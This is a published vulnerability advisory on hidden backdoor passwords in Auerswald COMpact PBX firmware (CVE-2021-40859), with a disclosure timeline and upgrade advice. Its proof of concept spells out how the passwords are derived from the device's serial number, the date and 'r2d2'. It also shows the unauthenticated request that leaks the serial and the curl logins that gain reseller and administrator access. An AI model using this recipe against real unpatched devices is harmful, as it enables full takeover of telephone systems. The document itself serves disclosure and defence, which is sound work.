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Auerswald COMpact Multiple Backdoors

RedTeam Pentesting discovered several backdoors in the firmware for the Auerswald COMpact 5500R PBX. These backdoors allow attackers who are able to access the web-based management application full administrative access to the device.


  • Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
  • Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP)
  • Fixed Versions: 8.2B, 4.0T
  • Vulnerability Type: Backdoor
  • Security Risk: high
  • Vendor URL:
  • Vendor Status: fixed version released
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2021-40859
  • CVE URL:


“Fully modular VoIP appliance for more efficient communication processes With the COMpact 5500R, you are originally equipped for everyday business - now and in the future.

The fully modular architecture with 80 IP channels and all the functions of a large ITC server allows up to 112 subscribers and thus scales with your company.

Continuous maintanance and expansion of the system software makes this versatile IP server a future-proof investment in any business communication.”

(from the vendor’s homepage)

More Details

Two backdoor passwords were found in the firmware of the COMpact 5500R PBX. One backdoor password is for the secret user “Schandelah”, the other can be used for the highest-privileged user “Admin”. No way was discovered to disable these backdoors.

Proof of Concept

The firmware for the COMpact 5500R can be downloaded from the vendor’s homepage ( The following details refer to firmware version 7.8A, but the latest firmware at the time of writing (8.0B) is affected as well.

Inspecting the downloaded file reveals that it is compressed and can be extracted with the program “gunzip”:

$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23
15:04:43 2020, from Unix, original size 196976698

$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz

$ gunzip 7_8A_002_COMpact5500.gz

Analysing the resulting file again shows that it is an image file in the format required by the bootloader “Das U-Boot” (, a popular bootloader for embedded devices:

$ file 7_8A_002_COMpact5500.rom

7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM,
Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38
2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0
xCECA93E8, Data CRC: 0x99E65DF1

The program “dumpimage” (included with u-boot) can be used to list the partitions in the image file:

$ dumpimage -l 7_8A_002_COMpact5500.rom
Image Name:
CP5500 125850
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB

The larger partition then was extracted into the file “rootfs” as follows:

$ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs

Contained in the file is an ext2-compatible file system, which was mounted at “/mnt” and inspected:

$ file rootfs

rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name "7.8A_002_125850."

$ sudo mount -o loop,ro rootfs /mnt

$ cat /mnt/etc/passwd

The PBX runs the web server lighttpd (, the configuration files can be found in the folder “/opt/auerswald/lighttpd”. The web server forwards most requests via FastCGI to the program “/opt/auerswald/web/webserver”. This program can then be analysed, for example using the reverse engineering program Ghidra (

The manual for the PBX reveals that in order to manage the device, users need to log in with the username “sub-admin”. When this string is searched within the program in Ghidra, the function which checks passwords on login can be identified.

It can easily be seen that besides the username “sub-admin” the function also checks for the hard-coded username “Schandelah”, which is the village of Auerswald’s headquarter. Further analysis revealed that the corresponding password for this username is derived by concatenating the PBX’s serial number, the string “r2d2” and the current date, hashing it with the MD5 hash algorithm and taking the first seven lower-case hex chars of the result.

All data needed to derive the password can be accessed without authentication by requesting the path “/about_state”, which is also used on the website the PBX redirects users to who abort the password prompt (shortened and formatted to increase readability):

$ curl --include
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;

  "pbx": "COMpact 5500R",
  "pbxType": 35,
  "pbxId": 0,
  "version": "Version 7.8A - Build 002  ",
  "serial": "1234123412",
  "date": "30.08.2021",

The password can be derived as follows:

$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'

This password can then be used for authentication:

$ curl --include --user 'Schandelah:1432d89' --anyauth \

HTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/

Next, the endpoint “/logstatus_state” can be queried using the returned session ID to check the access level:

% curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \

HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;


The returned access level is “Haendler” (reseller). After login, the web server redirects to a special service page at the path “/statics/html/page_servicetools.html”. Among other things, it allows to download a backup of all data on the device, configure audio recording and reset the password, PIN and token for the user “Admin”. Accessing regular administrative functions is not possible directly with this user account.

When inspecting the password checking function, a second backdoor can be found. When the username “Admin” is specified, the given password is tested against the configured password as well as a password derived in a similar way from the PBX’s serial number, the string “r2d2”, the current date and the configured language. The MD5 hash is taken and the specified password is tested against the first seven characters of the lower case hexadecimal hash.

The backdoor password for the “Admin” user can be calculated as follows:

$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'

The server returns a session ID for that password and the username “Admin”:

$ curl --user 'Admin:92fcdd9' --anyauth --include \

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/


Checking the access level of the session reveals the status “Administrator”:

$ curl --cookie 'AUERSessionID1234123412=MLJHCDLPMXPNKWY' --include \

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;



Disable or restrict access to the web-based management interface if possible.


Upgrade to a firmware version which corrects this vulnerability.

Security Risk

By inspecting the firmware for the COMpact 5500R PBX, attackers can easily discover two backdoor passwords. One password is for the secret user account with the username “Schandelah”, the other works as an alternative password for the user “Admin”. Using the backdoor, attackers are granted access to the PBX with the highest privileges, enabling them to completely compromise the device. The passwords are derived from the serial number, the current date and the configured language.

The backdoor passwords are not documented. They secretly coexist with a documented password recovery function supported by the vendor. No way was found to disable the backdoor access.

All information needed to derive the passwords can be requested over the network without authentication, so attackers only require network access to the web-based management interface.

Due to the ease of exploitation and severe consequences, the backdoor passwords are rated as a high risk.


  • 2021-08-26 Vulnerability identified
  • 2021-09-01 Customer approved disclosure to vendor
  • 2021-09-10 Vendor notified
  • 2021-09-10 CVE ID requested
  • 2021-09-10 CVE ID assigned
  • 2021-10-05 Vendor provides access to device with fixed firmware
  • 2021-10-11 Vendor provides fixed firmware
  • 2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
  • 2021-12-06 Advisory published

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